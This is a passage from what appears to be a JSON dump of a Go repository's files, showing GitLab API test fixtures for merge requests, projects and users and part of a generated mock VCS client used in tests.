\"67cb91d3f6198189f433c045154a885784ba6977\",\n    \"ref\": \"patch-1-merger\",\n    \"status\": \"skipped\",\n    \"created_at\": \"2019-01-15T18:27:29.375Z\",\n    \"updated_at\": \"2019-01-25T17:28:01.437Z\",\n    \"web_url\": \"https://gitlab.com/lkysow/atlantis-example/-/pipelines/488598\",\n    \"before_sha\": \"0000000000000000000000000000000000000000\",\n    \"tag\": false,\n    \"yaml_errors\": null,\n    \"user\": {\n      \"id\": 1755902,\n      \"name\": \"Luke Kysow\",\n      \"username\": \"lkysow\",\n      \"state\": \"active\",\n      \"avatar_url\": \"https://secure.gravatar.com/avatar/25fd57e71590fe28736624ff24d41c5f?s=80&d=identicon\",\n      \"web_url\": \"https://gitlab.com/lkysow\"\n    },\n    \"started_at\": \"2019-01-15T18:27:29.375Z\",\n    \"finished_at\": \"2019-01-25T17:28:01.437Z\",\n    \"committed_at\": null,\n    \"duration\": 31,\n    \"coverage\": null,\n    \"detailed_status\": {\n      \"icon\": \"status_success\",\n      \"text\": \"passed\",\n      \"label\": \"passed\",\n      \"group\": \"success\",\n      \"tooltip\": \"passed\",\n      \"has_details\": true,\n      \"details_path\": \"/lkysow/atlantis-example/-/pipelines/488598\",\n      \"illustration\": null,\n      \"favicon\": \"/assets/ci_favicons/favicon_status_success-8451333011eee8ce9f2ab25dc487fe24a8758c694827a582f17f42b0a90446a2.png\"\n    }\n  },\n  \"diff_refs\": {\n    \"base_sha\": \"67cb91d3f6198189f433c045154a885784ba6977\",\n    \"head_sha\": \"cb86d70f464632bdfbe1bb9bc0f2f9d847a774a0\",\n    \"start_sha\": \"67cb91d3f6198189f433c045154a885784ba6977\"\n  },\n  \"merge_error\": null,\n  \"first_contribution\": false,\n  \"user\": {\n    \"can_merge\": true\n  }\n}\n"
  },
  {
    "path": "server/events/vcs/gitlab/testdata/pipeline-work-in-progress.json",
    "content": "{\n  \"id\": 22461274,\n  \"iid\": 13,\n  \"project_id\": 4580910,\n  \"title\": \"Update main.tf\",\n  \"description\": \"\",\n  \"state\": \"opened\",\n  \"created_at\": \"2019-01-15T18:27:29.375Z\",\n  \"updated_at\": \"2019-01-25T17:28:01.437Z\",\n  \"merged_by\": null,\n  \"merged_at\": null,\n  \"closed_by\": null,\n  \"closed_at\": null,\n  \"target_branch\": \"patch-1\",\n  \"source_branch\": \"patch-1-merger\",\n  \"user_notes_count\": 0,\n  \"upvotes\": 0,\n  \"downvotes\": 0,\n  \"author\": {\n    \"id\": 1755902,\n    \"name\": \"Luke Kysow\",\n    \"username\": \"lkysow\",\n    \"state\": \"active\",\n    \"avatar_url\": \"https://secure.gravatar.com/avatar/25fd57e71590fe28736624ff24d41c5f?s=80&d=identicon\",\n    \"web_url\": \"https://gitlab.com/lkysow\"\n  },\n  \"assignee\": null,\n  \"reviewers\": [],\n  \"source_project_id\": 4580910,\n  \"target_project_id\": 4580910,\n  \"labels\": [],\n  \"work_in_progress\": true,\n  \"milestone\": null,\n  \"merge_when_pipeline_succeeds\": false,\n  \"merge_status\": \"can_be_merged\",\n  \"detailed_merge_status\": \"mergeable\",\n  \"sha\": \"cb86d70f464632bdfbe1bb9bc0f2f9d847a774a0\",\n  \"merge_commit_sha\": null,\n  \"squash_commit_sha\": null,\n  \"discussion_locked\": null,\n  \"should_remove_source_branch\": null,\n  \"force_remove_source_branch\": true,\n  \"reference\": \"!13\",\n  \"references\": {\n    \"short\": \"!13\",\n    \"relative\": \"!13\",\n    \"full\": \"lkysow/atlantis-example!13\"\n  },\n  \"web_url\": \"https://gitlab.com/lkysow/atlantis-example/merge_requests/13\",\n  \"time_stats\": {\n    \"time_estimate\": 0,\n    \"total_time_spent\": 0,\n    \"human_time_estimate\": null,\n    \"human_total_time_spent\": null\n  },\n  \"squash\": true,\n  \"task_completion_status\": {\n    \"count\": 0,\n    \"completed_count\": 0\n  },\n  \"has_conflicts\": false,\n  \"blocking_discussions_resolved\": true,\n  \"approvals_before_merge\": null,\n  \"subscribed\": false,\n  \"changes_count\": \"1\",\n  \"latest_build_started_at\": \"2019-01-15T18:27:29.375Z\",\n  \"latest_build_finished_at\": \"2019-01-25T17:28:01.437Z\",\n  \"first_deployed_to_production_at\": null,\n  \"pipeline\": {\n    \"id\": 488598,\n    \"sha\": \"67cb91d3f6198189f433c045154a885784ba6977\",\n    \"ref\": \"patch-1-merger\",\n    \"status\": \"success\",\n    \"created_at\": \"2019-01-15T18:27:29.375Z\",\n    \"updated_at\": \"2019-01-25T17:28:01.437Z\",\n    \"web_url\": \"https://gitlab.com/lkysow/atlantis-example/-/pipelines/488598\"\n  },\n  \"head_pipeline\": {\n    \"id\": 488598,\n    \"sha\": \"67cb91d3f6198189f433c045154a885784ba6977\",\n    \"ref\": \"patch-1-merger\",\n    \"status\": \"success\",\n    \"created_at\": \"2019-01-15T18:27:29.375Z\",\n    \"updated_at\": \"2019-01-25T17:28:01.437Z\",\n    \"web_url\": \"https://gitlab.com/lkysow/atlantis-example/-/pipelines/488598\",\n    \"before_sha\": \"0000000000000000000000000000000000000000\",\n    \"tag\": false,\n    \"yaml_errors\": null,\n    \"user\": {\n      \"id\": 1755902,\n      \"name\": \"Luke Kysow\",\n      \"username\": \"lkysow\",\n      \"state\": \"active\",\n      \"avatar_url\": \"https://secure.gravatar.com/avatar/25fd57e71590fe28736624ff24d41c5f?s=80&d=identicon\",\n      \"web_url\": \"https://gitlab.com/lkysow\"\n    },\n    \"started_at\": \"2019-01-15T18:27:29.375Z\",\n    \"finished_at\": \"2019-01-25T17:28:01.437Z\",\n    \"committed_at\": null,\n    \"duration\": 31,\n    \"coverage\": null,\n    \"detailed_status\": {\n      \"icon\": \"status_success\",\n      \"text\": \"passed\",\n      \"label\": \"passed\",\n      \"group\": \"success\",\n      \"tooltip\": \"passed\",\n      \"has_details\": true,\n      \"details_path\": \"/lkysow/atlantis-example/-/pipelines/488598\",\n      \"illustration\": null,\n      \"favicon\": \"/assets/ci_favicons/favicon_status_success-8451333011eee8ce9f2ab25dc487fe24a8758c694827a582f17f42b0a90446a2.png\"\n    }\n  },\n  \"diff_refs\": {\n    \"base_sha\": \"67cb91d3f6198189f433c045154a885784ba6977\",\n    \"head_sha\": \"cb86d70f464632bdfbe1bb9bc0f2f9d847a774a0\",\n    \"start_sha\": \"67cb91d3f6198189f433c045154a885784ba6977\"\n  },\n  \"merge_error\": null,\n  \"first_contribution\": false,\n  \"user\": {\n    \"can_merge\": true\n  }\n}\n"
  },
  {
    "path": "server/events/vcs/gitlab/testdata/project-success.json",
    "content": "{\n  \"id\": 4580910,\n  \"description\": \"\",\n  \"name\": \"atlantis-example\",\n  \"name_with_namespace\": \"lkysow / atlantis-example\",\n  \"path\": \"atlantis-example\",\n  \"path_with_namespace\": \"lkysow/atlantis-example\",\n  \"created_at\": \"2018-04-30T13:44:28.367Z\",\n  \"default_branch\": \"patch-1\",\n  \"tag_list\": [],\n  \"ssh_url_to_repo\": \"git@gitlab.com:lkysow/atlantis-example.git\",\n  \"http_url_to_repo\": \"https://gitlab.com/lkysow/atlantis-example.git\",\n  \"web_url\": \"https://gitlab.com/lkysow/atlantis-example\",\n  \"readme_url\": \"https://gitlab.com/lkysow/atlantis-example/-/blob/main/README.md\",\n  \"avatar_url\": \"https://gitlab.com/uploads/-/system/project/avatar/4580910/avatar.png\",\n  \"forks_count\": 0,\n  \"star_count\": 7,\n  \"last_activity_at\": \"2021-06-29T21:10:43.968Z\",\n  \"namespace\": {\n    \"id\": 1,\n    \"name\": \"lkysow\",\n    \"path\": \"lkysow\",\n    \"kind\": \"group\",\n    \"full_path\": \"lkysow\",\n    \"parent_id\": 1,\n    \"avatar_url\": \"/uploads/-/system/group/avatar/1651/platform.png\",\n    \"web_url\": \"https://gitlab.com/groups/lkysow\"\n  },\n  \"_links\": {\n    \"self\": \"https://gitlab.com/api/v4/projects/4580910\",\n    \"issues\": \"https://gitlab.com/api/v4/projects/4580910/issues\",\n    \"merge_requests\": \"https://gitlab.com/api/v4/projects/4580910/merge_requests\",\n    \"repo_branches\": \"https://gitlab.com/api/v4/projects/4580910/repository/branches\",\n    \"labels\": \"https://gitlab.com/api/v4/projects/4580910/labels\",\n    \"events\": \"https://gitlab.com/api/v4/projects/4580910/events\",\n    \"members\": \"https://gitlab.com/api/v4/projects/4580910/members\"\n  },\n  \"packages_enabled\": false,\n  \"empty_repo\": false,\n  \"archived\": false,\n  \"visibility\": \"private\",\n  \"resolve_outdated_diff_discussions\": false,\n  \"container_registry_enabled\": false,\n  \"container_expiration_policy\": {\n    \"cadence\": \"1d\",\n    \"enabled\": false,\n    \"keep_n\": 10,\n    \"older_than\": \"90d\",\n    \"name_regex\": \".*\",\n    \"name_regex_keep\": null,\n    \"next_run_at\": \"2021-05-01T13:44:28.397Z\"\n  },\n  \"issues_enabled\": true,\n  \"merge_requests_enabled\": true,\n  \"wiki_enabled\": false,\n  \"jobs_enabled\": true,\n  \"snippets_enabled\": true,\n  \"service_desk_enabled\": false,\n  \"service_desk_address\": null,\n  \"can_create_merge_request_in\": true,\n  \"issues_access_level\": \"private\",\n  \"repository_access_level\": \"enabled\",\n  \"merge_requests_access_level\": \"enabled\",\n  \"forking_access_level\": \"enabled\",\n  \"wiki_access_level\": \"disabled\",\n  \"builds_access_level\": \"enabled\",\n  \"snippets_access_level\": \"enabled\",\n  \"pages_access_level\": \"private\",\n  \"operations_access_level\": \"disabled\",\n  \"analytics_access_level\": \"enabled\",\n  \"emails_disabled\": null,\n  \"shared_runners_enabled\": true,\n  \"lfs_enabled\": false,\n  \"creator_id\": 818,\n  \"import_status\": \"none\",\n  \"import_error\": null,\n  \"open_issues_count\": 0,\n  \"runners_token\": \"1234456\",\n  \"ci_default_git_depth\": 50,\n  \"ci_forward_deployment_enabled\": true,\n  \"public_jobs\": true,\n  \"build_git_strategy\": \"fetch\",\n  \"build_timeout\": 3600,\n  \"auto_cancel_pending_pipelines\": \"enabled\",\n  \"build_coverage_regex\": null,\n  \"ci_config_path\": \"\",\n  \"shared_with_groups\": [],\n  \"only_allow_merge_if_pipeline_succeeds\": true,\n  \"allow_merge_on_skipped_pipeline\": false,\n  \"restrict_user_defined_variables\": false,\n  \"request_access_enabled\": true,\n  \"only_allow_merge_if_all_discussions_are_resolved\": true,\n  \"remove_source_branch_after_merge\": true,\n  \"printing_merge_request_link_enabled\": true,\n  \"merge_method\": \"merge\",\n  \"suggestion_commit_message\": \"\",\n  \"auto_devops_enabled\": false,\n  \"auto_devops_deploy_strategy\": \"continuous\",\n  \"autoclose_referenced_issues\": true,\n  \"repository_storage\": \"default\",\n  \"approvals_before_merge\": 0,\n  \"mirror\": false,\n  \"external_authorization_classification_label\": null,\n  \"marked_for_deletion_at\": null,\n  \"marked_for_deletion_on\": null,\n  \"requirements_enabled\": false,\n  \"compliance_frameworks\": [],\n  \"permissions\": {\n    \"project_access\": null,\n    \"group_access\": {\n      \"access_level\": 50,\n      \"notification_level\": 3\n    }\n  }\n}\n"
  },
  {
    "path": "server/events/vcs/gitlab/testdata/pull-request.json",
    "content": "{\n  \"id\": 421832993,\n  \"iid\": 8,\n  \"project_id\": 75092240,\n  \"title\": \"Bump input 3\",\n  \"description\": \"\",\n  \"state\": \"closed\",\n  \"created_at\": \"2025-10-08T01:10:00.622Z\",\n  \"updated_at\": \"2025-10-08T02:56:38.499Z\",\n  \"merged_by\": null,\n  \"merge_user\": null,\n  \"merged_at\": null,\n  \"closed_by\": {\n    \"id\": 22831530,\n    \"username\": \"lukemassa\",\n    \"public_email\": \"\",\n    \"name\": \"Luke Massa\",\n    \"state\": \"active\",\n    \"locked\": false,\n    \"avatar_url\": \"https://secure.gravatar.com/avatar/d2407ada813207aeebb75cf61e87240a74904be7fd705a4f22d34a3d3387b106?s=80&d=identicon\",\n    \"web_url\": \"https://gitlab.com/lukemassa\"\n  },\n  \"closed_at\": \"2025-10-08T02:56:38.550Z\",\n  \"target_branch\": \"main\",\n  \"source_branch\": \"bump_input_3_1759885788\",\n  \"user_notes_count\": 0,\n  \"upvotes\": 0,\n  \"downvotes\": 0,\n  \"author\": {\n    \"id\": 22831530,\n    \"username\": \"lukemassa\",\n    \"public_email\": \"\",\n    \"name\": \"Luke Massa\",\n    \"state\": \"active\",\n    \"locked\": false,\n    \"avatar_url\": \"https://secure.gravatar.com/avatar/d2407ada813207aeebb75cf61e87240a74904be7fd705a4f22d34a3d3387b106?s=80&d=identicon\",\n    \"web_url\": \"https://gitlab.com/lukemassa\"\n  },\n  \"assignees\": [],\n  \"assignee\": null,\n  \"reviewers\": [],\n  \"source_project_id\": 75092240,\n  \"target_project_id\": 75092240,\n  \"labels\": [],\n  \"draft\": false,\n  \"imported\": false,\n  \"imported_from\": \"none\",\n  \"work_in_progress\": false,\n  \"milestone\": null,\n  \"merge_when_pipeline_succeeds\": false,\n  \"merge_status\": \"can_be_merged\",\n  \"detailed_merge_status\": \"not_open\",\n  \"merge_after\": null,\n  \"sha\": \"a7e1c0cceef744e6c13a9a728027f837b84b23be\",\n  \"merge_commit_sha\": null,\n  \"squash_commit_sha\": null,\n  \"discussion_locked\": null,\n  \"should_remove_source_branch\": null,\n  \"force_remove_source_branch\": null,\n  \"prepared_at\": \"2025-10-08T01:10:02.641Z\",\n  \"reference\": \"!8\",\n  \"references\": {\n    \"short\": \"!8\",\n    \"relative\": \"!8\",\n    \"full\": \"lukemassa/atlantis-test!8\"\n  },\n  \"web_url\": \"https://gitlab.com/lukemassa/atlantis-test/-/merge_requests/8\",\n  \"time_stats\": {\n    \"time_estimate\": 0,\n    \"total_time_spent\": 0,\n    \"human_time_estimate\": null,\n    \"human_total_time_spent\": null\n  },\n  \"squash\": false,\n  \"squash_on_merge\": false,\n  \"task_completion_status\": {\n    \"count\": 0,\n    \"completed_count\": 0\n  },\n  \"has_conflicts\": false,\n  \"blocking_discussions_resolved\": true,\n  \"approvals_before_merge\": null,\n  \"subscribed\": false,\n  \"changes_count\": \"1\",\n  \"latest_build_started_at\": null,\n  \"latest_build_finished_at\": null,\n  \"first_deployed_to_production_at\": null,\n  \"pipeline\": null,\n  \"head_pipeline\": null,\n  \"diff_refs\": {\n    \"base_sha\": \"2608b60d023280134ca16252505ce307bf0eec97\",\n    \"head_sha\": \"a7e1c0cceef744e6c13a9a728027f837b84b23be\",\n    \"start_sha\": \"2608b60d023280134ca16252505ce307bf0eec97\"\n  },\n  \"merge_error\": null,\n  \"first_contribution\": false,\n  \"user\": {\n    \"can_merge\": false\n  }\n}\n"
  },
  {
    "path": "server/events/vcs/gitlab/testdata/user-multiple.json",
    "content": "[\n  {\n    \"id\": 123,\n    \"username\": \"multiuser\",\n    \"name\": \"Multiple User 1\",\n    \"state\": \"active\",\n    \"locked\": false,\n    \"avatar_url\": \"https://gitlab.com/uploads/-/system/user/avatar/123/avatar.png\",\n    \"web_url\": \"https://gitlab.com/multiuser\"\n  },\n  {\n    \"id\": 124,\n    \"username\": \"multiuser\",\n    \"name\": \"Multiple User 2\",\n    \"state\": \"active\",\n    \"locked\": false,\n    \"avatar_url\": \"https://gitlab.com/uploads/-/system/user/avatar/124/avatar.png\",\n    \"web_url\": \"https://gitlab.com/multiuser\"\n  }\n]\n"
  },
  {
    "path": "server/events/vcs/gitlab/testdata/user-none.json",
    "content": "[]\n"
  },
  {
    "path": "server/events/vcs/gitlab/testdata/user-success.json",
    "content": "[\n  {\n    \"id\": 123,\n    \"username\": \"testuser\",\n    \"name\": \"Test User\",\n    \"state\": \"active\",\n    \"locked\": false,\n    \"avatar_url\": \"https://gitlab.com/uploads/-/system/user/avatar/123/avatar.png\",\n    \"web_url\": \"https://gitlab.com/testuser\"\n  }\n]\n"
  },
  {
    "path": "server/events/vcs/mocks/mock_client.go",
    "content": "// Code generated by pegomock. DO NOT EDIT.\n// Source: github.com/runatlantis/atlantis/server/events/vcs (interfaces: Client)\n\npackage mocks\n\nimport (\n\tpegomock \"github.com/petergtz/pegomock/v4\"\n\tmodels \"github.com/runatlantis/atlantis/server/events/models\"\n\tlogging \"github.com/runatlantis/atlantis/server/logging\"\n\t\"reflect\"\n\t\"time\"\n)\n\ntype MockClient struct {\n\tfail func(message string, callerSkip ...int)\n}\n\nfunc NewMockClient(options ...pegomock.Option) *MockClient {\n\tmock := &MockClient{}\n\tfor _, option := range options {\n\t\toption.Apply(mock)\n\t}\n\treturn mock\n}\n\nfunc (mock *MockClient) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh }\nfunc (mock *MockClient) FailHandler() pegomock.FailHandler      { return mock.fail }\n\nfunc (mock *MockClient) CreateComment(logger logging.SimpleLogging, repo models.Repo, pullNum int, comment string, command string) error {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockClient().\")\n\t}\n\t_params := []pegomock.Param{logger, repo, pullNum, comment, command}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"CreateComment\", _params, []reflect.Type{reflect.TypeOf((*error)(nil)).Elem()})\n\tvar _ret0 error\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].(error)\n\t\t}\n\t}\n\treturn _ret0\n}\n\nfunc (mock *MockClient) DiscardReviews(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest) error {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockClient().\")\n\t}\n\t_params := []pegomock.Param{logger, repo, pull}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"DiscardReviews\", _params, []reflect.Type{reflect.TypeOf((*error)(nil)).Elem()})\n\tvar _ret0 error\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].(error)\n\t\t}\n\t}\n\treturn _ret0\n}\n\nfunc (mock *MockClient) GetCloneURL(logger logging.SimpleLogging, VCSHostType models.VCSHostType, repo string) (string, error) {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockClient().\")\n\t}\n\t_params := []pegomock.Param{logger, VCSHostType, repo}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"GetCloneURL\", _params, []reflect.Type{reflect.TypeOf((*string)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()})\n\tvar _ret0 string\n\tvar _ret1 error\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].(string)\n\t\t}\n\t\tif _result[1] != nil {\n\t\t\t_ret1 = _result[1].(error)\n\t\t}\n\t}\n\treturn _ret0, _ret1\n}\n\nfunc (mock *MockClient) GetFileContent(logger logging.SimpleLogging, repo models.Repo, branch string, fileName string) (bool, []byte, error) {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockClient().\")\n\t}\n\t_params := []pegomock.Param{logger, repo, branch, fileName}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"GetFileContent\", _params, []reflect.Type{reflect.TypeOf((*bool)(nil)).Elem(), reflect.TypeOf((*[]byte)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()})\n\tvar _ret0 bool\n\tvar _ret1 []byte\n\tvar _ret2 error\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].(bool)\n\t\t}\n\t\tif _result[1] != nil {\n\t\t\t_ret1 = _result[1].([]byte)\n\t\t}\n\t\tif _result[2] != nil {\n\t\t\t_ret2 = _result[2].(error)\n\t\t}\n\t}\n\treturn _ret0, _ret1, _ret2\n}\n\nfunc (mock *MockClient) GetModifiedFiles(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest) ([]string, error) {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockClient().\")\n\t}\n\t_params := []pegomock.Param{logger, repo, pull}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"GetModifiedFiles\", _params, []reflect.Type{reflect.TypeOf((*[]string)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()})\n\tvar _ret0 []string\n\tvar _ret1 error\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].([]string)\n\t\t}\n\t\tif _result[1] != nil {\n\t\t\t_ret1 = _result[1].(error)\n\t\t}\n\t}\n\treturn _ret0, _ret1\n}\n\nfunc (mock *MockClient) GetPullLabels(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest) ([]string, error) {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockClient().\")\n\t}\n\t_params := []pegomock.Param{logger, repo, pull}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"GetPullLabels\", _params, []reflect.Type{reflect.TypeOf((*[]string)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()})\n\tvar _ret0 []string\n\tvar _ret1 error\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].([]string)\n\t\t}\n\t\tif _result[1] != nil {\n\t\t\t_ret1 = _result[1].(error)\n\t\t}\n\t}\n\treturn _ret0, _ret1\n}\n\nfunc (mock *MockClient) GetTeamNamesForUser(logger logging.SimpleLogging, repo models.Repo, user models.User) ([]string, error) {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockClient().\")\n\t}\n\t_params := []pegomock.Param{logger, repo, user}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"GetTeamNamesForUser\", _params, []reflect.Type{reflect.TypeOf((*[]string)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()})\n\tvar _ret0 []string\n\tvar _ret1 error\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].([]string)\n\t\t}\n\t\tif _result[1] != nil {\n\t\t\t_ret1 = _result[1].(error)\n\t\t}\n\t}\n\treturn _ret0, _ret1\n}\n\nfunc (mock *MockClient) HidePrevCommandComments(logger logging.SimpleLogging, repo models.Repo, pullNum int, command string, dir string) error {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockClient().\")\n\t}\n\t_params := []pegomock.Param{logger, repo, pullNum, command, dir}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"HidePrevCommandComments\", _params, []reflect.Type{reflect.TypeOf((*error)(nil)).Elem()})\n\tvar _ret0 error\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].(error)\n\t\t}\n\t}\n\treturn _ret0\n}\n\nfunc (mock *MockClient) MarkdownPullLink(pull models.PullRequest) (string, error) {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockClient().\")\n\t}\n\t_params := []pegomock.Param{pull}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"MarkdownPullLink\", _params, []reflect.Type{reflect.TypeOf((*string)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()})\n\tvar _ret0 string\n\tvar _ret1 error\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].(string)\n\t\t}\n\t\tif _result[1] != nil {\n\t\t\t_ret1 = _result[1].(error)\n\t\t}\n\t}\n\treturn _ret0, _ret1\n}\n\nfunc (mock *MockClient) MergePull(logger logging.SimpleLogging, pull models.PullRequest, pullOptions models.PullRequestOptions) error {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockClient().\")\n\t}\n\t_params := []pegomock.Param{logger, pull, pullOptions}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"MergePull\", _params, []reflect.Type{reflect.TypeOf((*error)(nil)).Elem()})\n\tvar _ret0 error\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].(error)\n\t\t}\n\t}\n\treturn _ret0\n}\n\nfunc (mock *MockClient) PullIsApproved(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest) (models.ApprovalStatus, error) {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockClient().\")\n\t}\n\t_params := []pegomock.Param{logger, repo, pull}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"PullIsApproved\", _params, []reflect.Type{reflect.TypeOf((*models.ApprovalStatus)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()})\n\tvar _ret0 models.ApprovalStatus\n\tvar _ret1 error\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].(models.ApprovalStatus)\n\t\t}\n\t\tif _result[1] != nil {\n\t\t\t_ret1 = _result[1].(error)\n\t\t}\n\t}\n\treturn _ret0, _ret1\n}\n\nfunc (mock *MockClient) PullIsMergeable(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest, vcsstatusname string, ignoreVCSStatusNames []string) (models.MergeableStatus, error) {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockClient().\")\n\t}\n\t_params := []pegomock.Param{logger, repo, pull, vcsstatusname, ignoreVCSStatusNames}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"PullIsMergeable\", _params, []reflect.Type{reflect.TypeOf((*models.MergeableStatus)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()})\n\tvar _ret0 models.MergeableStatus\n\tvar _ret1 error\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].(models.MergeableStatus)\n\t\t}\n\t\tif _result[1] != nil {\n\t\t\t_ret1 = _result[1].(error)\n\t\t}\n\t}\n\treturn _ret0, _ret1\n}\n\nfunc (mock *MockClient) ReactToComment(logger logging.SimpleLogging, repo models.Repo, pullNum int, commentID int64, reaction string) error {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockClient().\")\n\t}\n\t_params := []pegomock.Param{logger, repo, pullNum, commentID, reaction}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"ReactToComment\", _params, []reflect.Type{reflect.TypeOf((*error)(nil)).Elem()})\n\tvar _ret0 error\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].(error)\n\t\t}\n\t}\n\treturn _ret0\n}\n\nfunc (mock *MockClient) SupportsSingleFileDownload(repo models.Repo) bool {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockClient().\")\n\t}\n\t_params := []pegomock.Param{repo}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"SupportsSingleFileDownload\", _params, []reflect.Type{reflect.TypeOf((*bool)(nil)).Elem()})\n\tvar _ret0 bool\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].(bool)\n\t\t}\n\t}\n\treturn _ret0\n}\n\nfunc (mock *MockClient) UpdateStatus(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest, state models.CommitStatus, src string, description string, url string) error {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockClient().\")\n\t}\n\t_params := []pegomock.Param{logger, repo, pull, state, src, description, url}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"UpdateStatus\", _params, []reflect.Type{reflect.TypeOf((*error)(nil)).Elem()})\n\tvar _ret0 error\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].(error)\n\t\t}\n\t}\n\treturn _ret0\n}\n\nfunc (mock *MockClient) VerifyWasCalledOnce() *VerifierMockClient {\n\treturn &VerifierMockClient{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: pegomock.Times(1),\n\t}\n}\n\nfunc (mock *MockClient) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockClient {\n\treturn &VerifierMockClient{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t}\n}\n\nfunc (mock *MockClient) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockClient {\n\treturn &VerifierMockClient{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t\tinOrderContext:         inOrderContext,\n\t}\n}\n\nfunc (mock *MockClient) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockClient {\n\treturn &VerifierMockClient{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t\ttimeout:                timeout,\n\t}\n}\n\ntype VerifierMockClient struct {\n\tmock                   *MockClient\n\tinvocationCountMatcher pegomock.InvocationCountMatcher\n\tinOrderContext         *pegomock.InOrderContext\n\ttimeout                time.Duration\n}\n\nfunc (verifier *VerifierMockClient) CreateComment(logger logging.SimpleLogging, repo models.Repo, pullNum int, comment string, command string) *MockClient_CreateComment_OngoingVerification {\n\t_params := []pegomock.Param{logger, repo, pullNum, comment, command}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"CreateComment\", _params, verifier.timeout)\n\treturn &MockClient_CreateComment_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockClient_CreateComment_OngoingVerification struct {\n\tmock              *MockClient\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockClient_CreateComment_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, models.Repo, int, string, string) {\n\tlogger, repo, pullNum, comment, command := c.GetAllCapturedArguments()\n\treturn logger[len(logger)-1], repo[len(repo)-1], pullNum[len(pullNum)-1], comment[len(comment)-1], command[len(command)-1]\n}\n\nfunc (c *MockClient_CreateComment_OngoingVerification) GetAllCapturedArguments() (_param0 